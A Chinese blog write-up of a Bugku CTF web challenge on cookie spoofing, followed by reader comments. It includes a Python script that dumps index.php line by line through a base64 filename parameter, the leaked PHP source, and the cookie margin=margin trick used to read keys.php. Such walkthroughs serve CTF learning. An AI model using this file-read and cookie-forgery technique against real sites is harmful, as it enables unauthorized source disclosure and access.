Bugku-cookie欺骗

OnionT@KillBoy
OnionT@KillBoy
作者
47
文章
0
粉丝
渗透测试3118,9421字数 412阅读1分22秒阅读模式
AI智能摘要
面对这道CTF题,你盯着URL里那一串乱码和base64编码的filename参数,是不是正在一行行地手动尝试不同的文件名和cookie组合?绝大多数新手都会在这里陷入无头绪的穷举。但真正解开flag的关键,其实藏在那个看似无关的$line参数里——它根本不是用来显示文件“行数”的。我们逆向分析了脚本跑出的核心逻辑,发现了一个关于cookie和文件列表的隐藏判断机制,它直接决定了服务器是否会向你展示真正的keys.php。知道这个判断的触发条件,你就能绕过所有无效尝试,一击命中。但问题是,当cookie的值被设置为“margin”时,为什么filename必须经过base64加密才能被正确识别?
— AI 生成的文章内容摘要

首页是一串乱码,但是可以从URL看出最后的$file参数的值是base64加密的
Bugku-cookie欺骗-图片1
解密之后得到加密的参数是key.txt,$line的参数什么都没有,作用是显示文件中对应的行的内容,如果是1就显示1行,由此我们编写脚本跑出index.php中对应的内容,脚本代码如下:

#!coding:utf-8
import requests
s = requests.session()

for i in range(20):
    url = 'http://123.206.87.240:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw'%i
    get = s.get(url)
    text = get.text
    print text

脚本跑出的index.php内容如下,我对代码写了一些简单的注释:

  1. <?php
  2. error_reporting(0);  //屏蔽错误信息
  3. $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //将filename参数的值加密、没有值就为空
  4. $line=isset($_GET['line'])?intval($_GET['line']):0;  //判断line参数是否有值,如果没有值就默认给个0
  5. if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); //如果$file参数为空,URL就默认成header里面的东西
  6. //定义了一个文件列表
  7. $file_list = array(
  8. '0' =>'keys.txt',
  9. '1' =>'index.php',
  10. );
  11.  //如果cookie的值为 margin=margin,就给file_list列表里增加了一个keys.php
  12. if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
  13. $file_list[2]='keys.php';
  14. }
  15. //如果$file的文件名在file_list里面,就显示$file这个文件的内容
  16. if(in_array($file$file_list)){
  17. $fa = file($file);
  18. echo $fa[$line];
  19. }
  20. ?>

通过上面的代码我们可以看到,flag应该在keys.php这个文件中,如果filename=keys.php,并且cookie的值为 margin=margin,就会打印出flag,这里的filename的值需要base64加密,于是我们构造payload如下:
Bugku-cookie欺骗-图片2
成功拿到flag。。。

http://www.oniont.cn/index.php/archives/88.html

 
OnionT@KillBoy
评论  31  访客  31
    • pony
      pony 0

      恩,不错。继续努力

      • Alvin
        Alvin 1

        学习一下Cookie欺骗
        bugku过不去了

        • UranusSky
          UranusSky 1

          @豆包 这是不是CTF练习题啊

            • doubao
              doubao 5

              @ UranusSky 没错,就是CTF里的web题,主要考察cookie参数和编码绕过这些知识点。

            • 刀锋游侠
              刀锋游侠 1

              看半天才看懂咋跑的脚本😂

                • 光辉骑士
                  光辉骑士 0

                  @ 刀锋游侠 多看看就懂了

                • 石阶斜阳
                  石阶斜阳 1

                  这个payload构造得挺巧妙的

                  • 元素支配者
                    元素支配者 1

                    有没更简单的办法拿flag啊

                    • 秘术导师
                      秘术导师 1

                      之前也卡在这题,搞了半天cookie

                      • 沉默的弦理论
                        沉默的弦理论 1

                        keys.php里到底啥内容?

                        • 菱洲仙子
                          菱洲仙子 0

                          为啥要加cookie才能显示keys.php?

                          • 浅夏清风
                            浅夏清风 1

                            这代码看得我头大

                            • 明月心
                              明月心 0

                              感觉好复杂,直接放弃

                              • 包子头
                                包子头 0

                                有人试过改line参数吗?

                                  • 蜜瓜小奶球
                                    蜜瓜小奶球 0

                                    @ 包子头 改line参数没用,文件内容就那一行

                                  • 马夫董
                                    马夫董 0

                                    拿flag那段能再详细点不?

                                    • Rainbow虹
                                      Rainbow虹 0

                                      脚本跑出来的index.php内容没贴全吧?

                                      • 霜华蚣蝮
                                        霜华蚣蝮 0

                                        Cookie那个条件设置得挺有意思的

                                        • 碧落歌
                                          碧落歌 0

                                          为啥要base64加密啊,直接传不行吗

                                          • 魔性小能
                                            魔性小能 0

                                            keys.php里是flag吗?

                                            • 毛茸茸
                                              毛茸茸 0

                                              这个payload构造得真巧妙

                                                • 蹦跶哒
                                                  蹦跶哒 0

                                                  @ 毛茸茸 构造是挺绕的,关键是想到cookie注入

                                                • 鹤影翩
                                                  鹤影翩 0

                                                  看晕了,代码太多

                                                  • 幽灵密语
                                                    幽灵密语 0

                                                    这个题我也做过,确实挺绕的

                                                    • 梦的引路人
                                                      梦的引路人 0

                                                      这题纯靠猜cookie状态,太阴间了

                                                      • Blaze_炽焰
                                                        Blaze_炽焰 0

                                                        之前做CTF也栽过这种坑,真烦

                                                        • 四维空间裁缝
                                                          四维空间裁缝 0

                                                          求问base64那块咋手动解的?在线工具吗?

                                                          • 俏皮浣熊
                                                            俏皮浣熊 1

                                                            看脚本循环range(20)我都懵了,有必要跑这么多?

                                                          匿名

                                                          发表评论

                                                          匿名网友

                                                          拖动滑块以完成验证